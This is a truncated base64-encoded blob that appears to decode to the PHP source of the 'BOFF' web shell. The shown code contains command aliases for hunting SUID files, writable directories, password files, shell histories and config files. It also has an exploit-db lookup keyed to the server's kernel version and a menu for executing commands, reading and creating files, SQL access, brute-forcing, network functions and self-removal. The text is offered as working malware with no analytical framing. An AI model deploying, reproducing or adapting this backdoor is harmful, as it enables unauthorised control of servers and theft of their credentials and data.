gL3cgL2IgKmNvbmZpZyoucGhwIiwNCiAgICAJIlNob3cgYWN0aXZlIGNvbm5lY3Rpb25zIiA9PiAibmV0c3RhdCAtYW4iLA0KICAgIAkiU2hvdyBydW5uaW5nIHNlcnZpY2VzIiA9PiAibmV0IHN0YXJ0IiwNCiAgICAJIlVzZXIgYWNjb3VudHMiID0+ICJuZXQgdXNlciIsDQogICAgCSJTaG93IGNvbXB1dGVycyIgPT4gIm5ldCB2aWV3IiwNCgkJIkFSUCBUYWJsZSIgPT4gImFycCAtYSIsDQoJCSJJUCBDb25maWd1cmF0aW9uIiA9PiAiaXBjb25maWcgL2FsbCINCgkpOw0KZWxzZQ0KCSRhbGlhc2VzID0gYXJyYXkoDQogIAkJIkxpc3QgZGlyIiA9PiAibHMgLWxoYSIsDQoJCSJsaXN0IGZpbGUgYXR0cmlidXRlcyBvbiBhIExpbnV4IHNlY29uZCBleHRlbmRlZCBmaWxlIHN5c3RlbSIgPT4gImxzYXR0ciAtdmEiLA0KICAJCSJzaG93IG9wZW5lZCBwb3J0cyIgPT4gIm5ldHN0YXQgLWFuIHwgZ3JlcCAtaSBsaXN0ZW4iLA0KICAgICAgICAicHJvY2VzcyBzdGF0dXMiID0+ICJwcyBhdXgiLA0KCQkiRmluZCIgPT4gIiIsDQogIAkJImZpbmQgYWxsIHN1aWQgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiwNCiAgCQkiZmluZCBzdWlkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIsDQogIAkJImZpbmQgYWxsIHNnaWQgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzIiwNCiAgCQkiZmluZCBzZ2lkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIsDQogIAkJImZpbmQgY29uZmlnLmluYy5waHAgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBjb25maWcuaW5jLnBocCIsDQogIAkJImZpbmQgY29uZmlnKiBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIFwiY29uZmlnKlwiIiwNCiAgCQkiZmluZCBjb25maWcqIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiLA0KICAJCSJmaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyIgPT4gImZpbmQgLyAtcGVybSAtMiAtbHMiLA0KICAJCSJmaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtcGVybSAtMiAtbHMiLA0KICAJCSJmaW5kIGFsbCBzZXJ2aWNlLnB3ZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiwNCiAgCQkiZmluZCBzZXJ2aWNlLnB3ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiwNCiAgCQkiZmluZCBhbGwgLmh0cGFzc3dkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkIiwNCiAgCQkiZmluZCAuaHRwYXNzd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiLA0KICAJCSJmaW5kIGFsbCAuYmFzaF9oaXN0b3J5IGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeSIsDQogIAkJImZpbmQgLmJhc2hfaGlzdG9yeSBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnkiLA0KICAJCSJmaW5kIGFsbCAuZmV0Y2htYWlscmMgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMiLA0KICAJCSJmaW5kIC5mZXRjaG1haWxyYyBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyIsDQoJCSJMb2NhdGUiID0+ICIiLA0KICAJCSJsb2NhdGUgaHR0cGQuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBodHRwZC5jb25mIiwNCgkJImxvY2F0ZSB2aG9zdHMuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSB2aG9zdHMuY29uZiIsDQoJCSJsb2NhdGUgcHJvZnRwZC5jb25mIGZpbGVzIiA9PiAibG9jYXRlIHByb2Z0cGQuY29uZiIsDQoJCSJsb2NhdGUgcHN5Ym5jLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgcHN5Ym5jLmNvbmYiLA0KCQkibG9jYXRlIG15LmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgbXkuY29uZiIsDQoJCSJsb2NhdGUgYWRtaW4ucGhwIGZpbGVzIiA9PiJsb2NhdGUgYWRtaW4ucGhwIiwNCgkJImxvY2F0ZSBjZmcucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNmZy5waHAiLA0KCQkibG9jYXRlIGNvbmYucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmYucGhwIiwNCgkJImxvY2F0ZSBjb25maWcuZGF0IGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5kYXQiLA0KCQkibG9jYXRlIGNvbmZpZy5waHAgZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLnBocCIsDQoJCSJsb2NhdGUgY29uZmlnLmluYyBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuaW5jIiwNCgkJImxvY2F0ZSBjb25maWcuaW5jLnBocCIgPT4gImxvY2F0ZSBjb25maWcuaW5jLnBocCIsDQoJCSJsb2NhdGUgY29uZmlnLmRlZmF1bHQucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5kZWZhdWx0LnBocCIsDQoJCSJsb2NhdGUgY29uZmlnKiBmaWxlcyAiID0+ICJsb2NhdGUgY29uZmlnIiwNCgkJImxvY2F0ZSAuY29uZiBmaWxlcyI9PiJsb2NhdGUgJy5jb25mJyIsDQoJCSJsb2NhdGUgLnB3ZCBmaWxlcyIgPT4gImxvY2F0ZSAnLnB3ZCciLA0KCQkibG9jYXRlIC5zcWwgZmlsZXMiID0+ICJsb2NhdGUgJy5zcWwnIiwNCgkJImxvY2F0ZSAuaHRwYXNzd2QgZmlsZXMiID0+ICJsb2NhdGUgJy5odHBhc3N3ZCciLA0KCQkibG9jYXRlIC5iYXNoX2hpc3RvcnkgZmlsZXMiID0+ICJsb2NhdGUgJy5iYXNoX2hpc3RvcnknIiwNCgkJImxvY2F0ZSAubXlzcWxfaGlzdG9yeSBmaWxlcyIgPT4gImxvY2F0ZSAnLm15c3FsX2hpc3RvcnknIiwNCgkJImxvY2F0ZSAuZmV0Y2htYWlscmMgZmlsZXMiID0+ICJsb2NhdGUgJy5mZXRjaG1haWxyYyciLA0KCQkibG9jYXRlIGJhY2t1cCBmaWxlcyIgPT4gImxvY2F0ZSBiYWNrdXAiLA0KCQkibG9jYXRlIGR1bXAgZmlsZXMiID0+ICJsb2NhdGUgZHVtcCIsDQoJCSJsb2NhdGUgcHJpdiBmaWxlcyIgPT4gImxvY2F0ZSBwcml2IgkNCgkpOw0KDQpmdW5jdGlvbiBCT0ZGSGVhZGVyKCkgew0KCWlmKGVtcHR5KCRfUE9TVFsnY2hhcnNldCddKSkNCgkJJF9QT1NUWydjaGFyc2V0J10gPSAkR0xPQkFMU1snZGVmYXVsdF9jaGFyc2V0J107DQoJZ2xvYmFsICRjb2xvcjsNCgllY2hvICI8aHRtbD48aGVhZD48bWV0YSBodHRwLWVxdWl2PSdDb250ZW50LVR5cGUnIGNvbnRlbnQ9J3RleHQvaHRtbDsgY2hhcnNldD0iIC4gJF9QT1NUWydjaGFyc2V0J10gLiAiJz48dGl0bGU+IiAuICRfU0VSVkVSWydIVFRQX0hPU1QnXSAuICIgLSBCT0ZGICIgLiBCT0ZGX1ZFUlNJT04gLiI8L3RpdGxlPg0KPHN0eWxlPg0KYm9keXtiYWNrZ3JvdW5kLWNvbG9yOiMwMDAwMjg7Y29sb3I6I2UxZTFlMTt9DQpib2R5LHRkLHRoeyBib3JkZXI6MXB4IG91dHNldCBibGFjaztmb250OiA5cHQgTHVjaWRhLFZlcmRhbmE7bWFyZ2luOjA7dmVydGljYWwtYWxpZ246dG9wO2NvbG9yOiNlMWUxZTE7IH0NCnRhYmxlLmluZm97IGJvcmRlci1sZWZ0OjVweCBzb2xpZCAjZGY1O2NvbG9yOiNmZmY7YmFja2dyb3VuZC1jb2xvcjojMDAwMDI4OyB9DQpzcGFuLGgxLGF7IGNvbG9yOiAjZGY1ICFpbXBvcnRhbnQ7IH0NCnNwYW57IGZvbnQtd2VpZ2h0OiBib2xkZXI7IH0NCmgxeyBib3JkZXItbGVmdDo3cHggc29saWQgI2RmNTtwYWRkaW5nOiAycHggNXB4O2ZvbnQ6IDE0cHQgVmVyZGFuYTtiYWNrZ3JvdW5kLWNvbG9yOiMwMDAwMjg7bWFyZ2luOjBweDsgfQ0KZGl2LmNvbnRlbnR7IHBhZGRpbmc6IDdweDttYXJnaW4tbGVmdDo3cHg7YmFja2dyb3VuZC1jb2xvcjojMzMzOyB9DQpheyB0ZXh0LWRlY29yYXRpb246bm9uZTsgfQ0KYTpob3ZlcnsgdGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTsgfQ0KLm1sMXsgYm9yZGVyOjFweCBzb2xpZCAjNDQ0O3BhZGRpbmc6NXB4O21hcmdpbjowO292ZXJmbG93OiBhdXRvOyB9DQouYmlnYXJlYXsgd2lkdGg6MTAwJTtoZWlnaHQ6MjUwcHg7IH0NCmlucHV0LHRleHRhcmVhLHNlbGVjdHsgbWFyZ2luOjA7Y29sb3I6I2ZmZjtiYWNrZ3JvdW5kLWNvbG9yOiM1NTU7Ym9yZGVyOjFweCBzb2xpZCAjZGY1OyBmb250OiA5cHQgTW9ub3NwYWNlLCdDb3VyaWVyIE5ldyc7IH0NCmZvcm17IG1hcmdpbjowcHg7IH0NCiN0b29sc1RibHsgdGV4dC1hbGlnbjpjZW50ZXI7IH0NCi50b29sc0lucHsgd2lkdGg6IDMwMHB4IH0NCi5tYWluIHRoe3RleHQtYWxpZ246bGVmdDtiYWNrZ3JvdW5kLWNvbG9yOiMwMDMzMDA7fQ0KLm1haW4gdHI6aG92ZXJ7Ym9yZGVyOjJweCBvdXRzZXQgZ3JheTs7YmFja2dyb3VuZC1jb2xvcjojNWU1ZTVlfQ0KLmwxe2JhY2tncm91bmQtY29sb3I6IzQ0NH0NCi5sMntiYWNrZ3JvdW5kLWNvbG9yOiMzMzN9DQpwcmV7Zm9udC1mYW1pbHk6Q291cmllcixNb25vc3BhY2U7fQ0KPC9zdHlsZT4NCjxzY3JpcHQ+DQogICAgdmFyIGNfID0gJyIgLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkgLiAiJzsNCiAgICB2YXIgYV8gPSAnIiAuIGh0bWxzcGVjaWFsY2hhcnMoQCRfUE9TVFsnYSddKSAuIicNCiAgICB2YXIgY2hhcnNldF8gPSAnIiAuIGh0bWxzcGVjaWFsY2hhcnMoQCRfUE9TVFsnY2hhcnNldCddKSAuIic7DQogICAgdmFyIHAxXyA9ICciIC4gKChzdHJwb3MoQCRfUE9TVFsncDEnXSwiXG4iKSE9PWZhbHNlKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSxFTlRfUVVPVEVTKSkgLiInOw0KICAgIHZhciBwMl8gPSAnIiAuICgoc3RycG9zKEAkX1BPU1RbJ3AyJ10sIlxuIikhPT1mYWxzZSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AyJ10sRU5UX1FVT1RFUykpIC4iJzsNCiAgICB2YXIgcDNfID0gJyIgLiAoKHN0cnBvcyhAJF9QT1NUWydwMyddLCJcbiIpIT09ZmFsc2UpPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMyddLEVOVF9RVU9URVMpKSAuIic7DQogICAgdmFyIGQgPSBkb2N1bWVudDsNCglmdW5jdGlvbiBzZXQoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsNCgkJaWYoYSE9bnVsbClkLm1mLmEudmFsdWU9YTtlbHNlIGQubWYuYS52YWx1ZT1hXzsNCgkJaWYoYyE9bnVsbClkLm1mLmMudmFsdWU9YztlbHNlIGQubWYuYy52YWx1ZT1jXzsNCgkJaWYocDEhPW51bGwpZC5tZi5wMS52YWx1ZT1wMTtlbHNlIGQubWYucDEudmFsdWU9cDFfOw0KCQlpZihwMiE9bnVsbClkLm1mLnAyLnZhbHVlPXAyO2Vsc2UgZC5tZi5wMi52YWx1ZT1wMl87DQoJCWlmKHAzIT1udWxsKWQubWYucDMudmFsdWU9cDM7ZWxzZSBkLm1mLnAzLnZhbHVlPXAzXzsNCgkJaWYoY2hhcnNldCE9bnVsbClkLm1mLmNoYXJzZXQudmFsdWU9Y2hhcnNldDtlbHNlIGQubWYuY2hhcnNldC52YWx1ZT1jaGFyc2V0XzsNCgl9DQoJZnVuY3Rpb24gZyhhLGMscDEscDIscDMsY2hhcnNldCkgew0KCQlzZXQoYSxjLHAxLHAyLHAzLGNoYXJzZXQpOw0KCQlkLm1mLnN1Ym1pdCgpOw0KCX0NCglmdW5jdGlvbiBhKGEsYyxwMSxwMixwMyxjaGFyc2V0KSB7DQoJCXNldChhLGMscDEscDIscDMsY2hhcnNldCk7DQoJCXZhciBwYXJhbXMgPSAnYWpheD10cnVlJzsNCgkJZm9yKGk9MDtpPGQubWYuZWxlbWVudHMubGVuZ3RoO2krKykNCgkJCXBhcmFtcyArPSAnJicrZC5tZi5lbGVtZW50c1tpXS5uYW1lKyc9JytlbmNvZGVVUklDb21wb25lbnQoZC5tZi5lbGVtZW50c1tpXS52YWx1ZSk7DQoJCXNyKCciIC4gYWRkc2xhc2hlcygkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkgLiInLCBwYXJhbXMpOw0KCX0NCglmdW5jdGlvbiBzcih1cmwsIHBhcmFtcykgewkNCgkJaWYgKHdpbmRvdy5YTUxIdHRwUmVxdWVzdCkNCgkJCXJlcSA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOw0KCQllbHNlIGlmICh3aW5kb3cuQWN0aXZlWE9iamVjdCkNCgkJCXJlcSA9IG5ldyBBY3RpdmVYT2JqZWN0KCdNaWNyb3NvZnQuWE1MSFRUUCcpOw0KICAgICAgICBpZiAocmVxKSB7DQogICAgICAgICAgICByZXEub25yZWFkeXN0YXRlY2hhbmdlID0gcHJvY2Vzc1JlcUNoYW5nZTsNCiAgICAgICAgICAgIHJlcS5vcGVuKCdQT1NUJywgdXJsLCB0cnVlKTsNCiAgICAgICAgICAgIHJlcS5zZXRSZXF1ZXN0SGVhZGVyICgnQ29udGVudC1UeXBlJywgJ2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCcpOw0KICAgICAgICAgICAgcmVxLnNlbmQocGFyYW1zKTsNCiAgICAgICAgfQ0KCX0NCglmdW5jdGlvbiBwcm9jZXNzUmVxQ2hhbmdlKCkgew0KCQlpZiggKHJlcS5yZWFkeVN0YXRlID09IDQpICkNCgkJCWlmKHJlcS5zdGF0dXMgPT0gMjAwKSB7DQoJCQkJdmFyIHJlZyA9IG5ldyBSZWdFeHAoXCIoXFxcXGQrKShbXFxcXFNcXFxcc10qKVwiLCAnbScpOw0KCQkJCXZhciBhcnI9cmVnLmV4ZWMocmVxLnJlc3BvbnNlVGV4dCk7DQoJCQkJZXZhbChhcnJbMl0uc3Vic3RyKDAsIGFyclsxXSkpOw0KCQkJfSBlbHNlIGFsZXJ0KCdSZXF1ZXN0IGVycm9yIScpOw0KCX0NCjwvc2NyaXB0Pg0KPGhlYWQ+PGJvZHk+PGRpdiBzdHlsZT0ncG9zaXRpb246YWJzb2x1dGU7d2lkdGg6MTAwJTtiYWNrZ3JvdW5kLWNvbG9yOiM0NDQ7dG9wOjA7bGVmdDowOyc+DQo8Zm9ybSBtZXRob2Q9cG9zdCBuYW1lPW1mIHN0eWxlPSdkaXNwbGF5Om5vbmU7Jz4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWE+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDE+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMj4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAzPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldD4NCjwvZm9ybT4iOw0KCSRmcmVlU3BhY2UgPSBAZGlza2ZyZWVzcGFjZSgkR0xPQkFMU1snY3dkJ10pOw0KCSR0b3RhbFNwYWNlID0gQGRpc2tfdG90YWxfc3BhY2UoJEdMT0JBTFNbJ2N3ZCddKTsNCgkkdG90YWxTcGFjZSA9ICR0b3RhbFNwYWNlPyR0b3RhbFNwYWNlOjE7DQoJJHJlbGVhc2UgPSBAcGhwX3VuYW1lKCdyJyk7DQoJJGtlcm5lbCA9IEBwaHBfdW5hbWUoJ3MnKTsNCgkkZXhwbGluayA9ICdodHRwOi8vZXhwbG9pdC1kYi5jb20vbGlzdC5waHA/ZGVzY3JpcHRpb249JzsNCglpZihzdHJwb3MoJ0xpbnV4JywgJGtlcm5lbCkgIT09IGZhbHNlKQ0KCQkkZXhwbGluayAuPSB1cmxlbmNvZGUoJ0xpbnV4IEtlcm5lbCAnIC4gc3Vic3RyKCRyZWxlYXNlLDAsNikpOw0KCWVsc2UNCgkJJGV4cGxpbmsgLj0gdXJsZW5jb2RlKCRrZXJuZWwgLiAnICcgLiBzdWJzdHIoJHJlbGVhc2UsMCwzKSk7DQoJaWYoIWZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKSB7DQoJCSR1c2VyID0gQGdldF9jdXJyZW50X3VzZXIoKTsNCgkJJHVpZCA9IEBnZXRteXVpZCgpOw0KCQkkZ2lkID0gQGdldG15Z2lkKCk7DQoJCSRncm91cCA9ICI/IjsNCgl9IGVsc2Ugew0KCQkkdWlkID0gQHBvc2l4X2dldHB3dWlkKHBvc2l4X2dldGV1aWQoKSk7DQoJCSRnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQocG9zaXhfZ2V0ZWdpZCgpKTsNCgkJJHVzZXIgPSAkdWlkWyduYW1lJ107DQoJCSR1aWQgPSAkdWlkWyd1aWQnXTsNCgkJJGdyb3VwID0gJGdpZFsnbmFtZSddOw0KCQkkZ2lkID0gJGdpZFsnZ2lkJ107DQoJfQ0KDQoJJGN3ZF9saW5rcyA9ICcnOw0KCSRwYXRoID0gZXhwbG9kZSgiLyIsICRHTE9CQUxTWydjd2QnXSk7DQoJJG49Y291bnQoJHBhdGgpOw0KCWZvcigkaT0wOyAkaTwkbi0xOyAkaSsrKSB7DQoJCSRjd2RfbGlua3MgLj0gIjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLFwiIjsNCgkJZm9yKCRqPTA7ICRqPD0kaTsgJGorKykNCgkJCSRjd2RfbGlua3MgLj0gJHBhdGhbJGpdLicvJzsNCgkJJGN3ZF9saW5rcyAuPSAiXCIpJz4iLiRwYXRoWyRpXS4iLzwvYT4iOw0KCX0NCg0KCSRjaGFyc2V0cyA9IGFycmF5KCdVVEYtOCcsICdXaW5kb3dzLTEyNTEnLCAnS09JOC1SJywgJ0tPSTgtVScsICdjcDg2NicpOw0KCSRvcHRfY2hhcnNldHMgPSAnJzsNCglmb3JlYWNoKCRjaGFyc2V0cyBhcyAkaXRlbSkNCgkJJG9wdF9jaGFyc2V0cyAuPSAnPG9wdGlvbiB2YWx1ZT0iJy4kaXRlbS4nIiAnLigkX1BPU1RbJ2NoYXJzZXQnXT09JGl0ZW0/J3NlbGVjdGVkJzonJykuJz4nLiRpdGVtLic8L29wdGlvbj4nOw0KDQoJJG0gPSBhcnJheSgnU2VjLiBJbmZvJz0+J1NlY0luZm8nLCdGaWxlcyc9PidGaWxlc01hbicsJ0NvbnNvbGUnPT4nQ29uc29sZScsJ1NxbCc9PidTcWwnLCdQaHAnPT4nUGhwJywnU2FmZSBtb2RlJz0+J1NhZmVNb2RlJywnU3RyaW5nIHRvb2xzJz0+J1N0cmluZ1Rvb2xzJywnQnJ1dGVmb3JjZSc9PidCcnV0ZWZvcmNlJywnTmV0d29yayc9PidOZXR3b3JrJyk7DQoJaWYoIWVtcHR5KCRHTE9CQUxTWydhdXRoX3Bhc3MnXSkpDQoJCSRtWydMb2dvdXQnXSA9ICdMb2dvdXQnOw0KCSRtWydTZWxmIHJlbW92ZSddID0gJ1NlbGZSZW1vdmUnOw0KCSRtZW51ID0gJyc7DQoJZm9yZWFjaCgkbSBhcyAkayA9PiAkdikNCgkJJG1lbnUgLj0gJzx0aCB3aWR0aD0iJy4oaW50KSgxMDAvY291bnQoJG0pKS4nJSI+WyA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnJy4kdi4nXCcsbnVsbCxcJ1wnLFwnXCcsXCdcJykiPicuJGsuJzwvYT4gXTwvdGg+JzsNCg0KCSRkcml2ZXMgPSAiIjsNCglpZigkR0xPQkFMU1snb3MnXSA9PSAnd2luJykgew0KCQlmb3JlYWNoKHJhbmdlKCdjJywneicpIGFzICRkcml2ZSkNCgkJaWYoaXNfZGlyKCRkcml2ZS4nOlxcJykpDQoJCQkkZHJpdmVzIC49ICc8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxcJycuJGRyaXZlLic6L1wnKSI+WyAnLiRkcml2ZS4nIF08L2E+ICc7DQoJfQ0KCWVjaG8gJzx0YWJsZSBjbGFzcz1pbmZvIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlPjx0cj48dGQgd2lkdGg9MT48c3Bhbj5VbmFtZTo8YnI+VXNlcjo8YnI+UGhwOjxicj5IZGQ6PGJyPkN3ZDonIC4gKCRHTE9CQUxTWydvcyddID09ICd3aW4nPyc8YnI+RHJpdmVzOic6JycpIC4gJzwvc3Bhbj48L3RkPicNCiAgICAgICAuICc8dGQ+PG5vYnI+JyAuIHN1YnN0cihAcGhwX3VuYW1lKCksIDAsIDEyMCkgLiAnIDxhIGhyZWY9IicgLiAkZXhwbGluayAuICciIHRhcmdldD1fYmxhbms+W2V4cGxvaXQtZGIuY29tXTwvYT48L25vYnI+PGJyPicgLiAkdWlkIC4gJyAoICcgLiAkdXNlciAuICcgKSA8c3Bhbj5Hcm91cDo8L3NwYW4+ICcgLiAkZ2lkIC4gJyAoICcgLiAkZ3JvdXAgLiAnICk8YnI+JyAuIEBwaHB2ZXJzaW9uKCkgLiAnIDxzcGFuPlNhZmUgbW9kZTo8L3NwYW4+ICcgLiAoJEdMT0JBTFNbJ3NhZmVfbW9kZSddPyc8Zm9udCBjb2xvcj1yZWQ+T048L2ZvbnQ+JzonPGZvbnQgY29sb3I9IzAwYmIwMD48Yj5PRkY8L2I+PC9mb250PicpDQogICAgICAgLiAnIDxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnUGhwXCcsbnVsbCxcJ1wnLFwnaW5mb1wnKSI+WyBwaHBpbmZvIF08L2E+IDxzcGFuPkRhdGV0aW1lOjwvc3Bhbj4gJyAuIGRhdGUoJ1ktbS1kIEg6aTpzJykgLiAnPGJyPicgLiBCT0ZGVmlld1NpemUoJHRvdGFsU3BhY2UpIC4gJyA8c3Bhbj5GcmVlOjwvc3Bhbj4gJyAuIEJPRkZWaWV3U2l6ZSgkZnJlZVNwYWNlKSAuICcgKCcuIChpbnQpICgkZnJlZVNwYWNlLyR0b3RhbFNwYWNlKjEwMCkgLiAnJSk8YnI+JyAuICRjd2RfbGlua3MgLiAnICcuIEJPRkZQZXJtc0NvbG9yKCRHTE9CQUxTWydjd2QnXSkgLiAnIDxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxcJycgLiAkR0xPQkFMU1snaG9tZV9jd2QnXSAuICdcJyxcJ1wnLFwnXCcsXCdcJykiPlsgaG9tZSBdPC9hPjxicj4nIC4gJGRyaXZlcyAuICc8L3RkPicNCiAgICAgICAuICc8dGQgd2lkdGg9MSBhbGlnbj1yaWdodD48bm9icj48c2VsZWN0IG9uY2hhbmdlPSJnKG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCx0aGlzLnZhbHVlKSI+PG9wdGdyb3VwIGxhYmVsPSJQYWdlIGNoYXJzZXQiPicgLiAkb3B0X2NoYXJzZXRzIC4gJzwvb3B0Z3JvdXA+PC9zZWxlY3Q+PGJyPjxzcGFuPlNlcnZlciBJUDo8L3NwYW4+PGJyPicgLiBAJF9TRVJWRVJbIlNFUlZFUl9BRERSIl0gLiAnPGJyPjxzcGFuPkNsaWVudCBJUDo8L3NwYW4+PGJyPicgLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuICc8L25vYnI+PC90ZD48L3RyPjwvdGFibGU+Jw0KICAgICAgIC4gJzx0YWJsZSBzdHlsZT0iYm9yZGVyLXRvcDoycHggc29saWQgIzMzMzsiIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlPjx0cj4nIC4gJG1lbnUgLiAnPC90cj48L3RhYmxlPjxkaXYgc3R5bGU9Im1hcmdpbjo1Ij4nOw0KfQ0KDQpmdW5jdGlvbiBCT0ZGRm9vdGVyKCkgew0KCSRpc193cml0YWJsZSA9IGlzX3dyaXRhYmxlKCRHTE9CQUxTWydjd2QnXSk/IiA8Zm9udCBjb2xvcj0nIzI1ZmYwMCc+KFdyaXRlYWJsZSk8L2ZvbnQ+IjoiIDxmb250IGNvbG9yPXJlZD4oTm90IHdyaXRhYmxlKTwvZm9udD4iOw0KICAgIGVjaG8gIg0KPC9kaXY+DQo8dGFibGUgY2xhc3M9aW5mbyBpZD10b29sc1RibCBjZWxscGFkZGluZz0zIGNlbGxzcGFjaW5nPTAgd2lkdGg9MTAwJSAgc3R5bGU9J2JvcmRlci10b3A6MnB4IHNvbGlkICMzMzM7Ym9yZGVyLWJvdHRvbToycHggc29saWQgIzMzMzsnPg0KCTx0cj4NCgkJPHRkPjxmb3JtIG9uc3VibWl0PSdnKG51bGwsdGhpcy5jLnZhbHVlLFwiXCIpO3JldHVybiBmYWxzZTsnPjxzcGFuPkNoYW5nZSBkaXI6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1jIHZhbHVlPSciIC4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pIC4iJz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC90ZD4NCgkJPHRkPjxmb3JtIG9uc3VibWl0PVwiZygnRmlsZXNUb29scycsbnVsbCx0aGlzLmYudmFsdWUpO3JldHVybiBmYWxzZTtcIj48c3Bhbj5SZWFkIGZpbGU6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L3RkPg0KCTwvdHI+PHRyPg0KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9XCJnKCdGaWxlc01hbicsbnVsbCwnbWtkaXInLHRoaXMuZC52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPk1ha2UgZGlyOjwvc3Bhbj4kaXNfd3JpdGFibGU8YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9ZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC90ZD4NCgkJPHRkPjxmb3JtIG9uc3VibWl0PVwiZygnRmlsZXNUb29scycsbnVsbCx0aGlzLmYudmFsdWUsJ21rZmlsZScpO3JldHVybiBmYWxzZTtcIj48c3Bhbj5NYWtlIGZpbGU6PC9zcGFuPiRpc193cml0YWJsZTxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L3RkPg0KCTwvdHI+PHRyPg0KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9XCJnKCdDb25zb2xlJyxudWxsLHRoaXMuYy52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPkV4ZWN1dGU6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1jIHZhbHVlPScnPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L3RkPg0KCQk8dGQ+PGZvcm0gbWV0aG9kPSdwb3N0JyBFTkNUWVBFPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4NCgkJPGlucHV0IH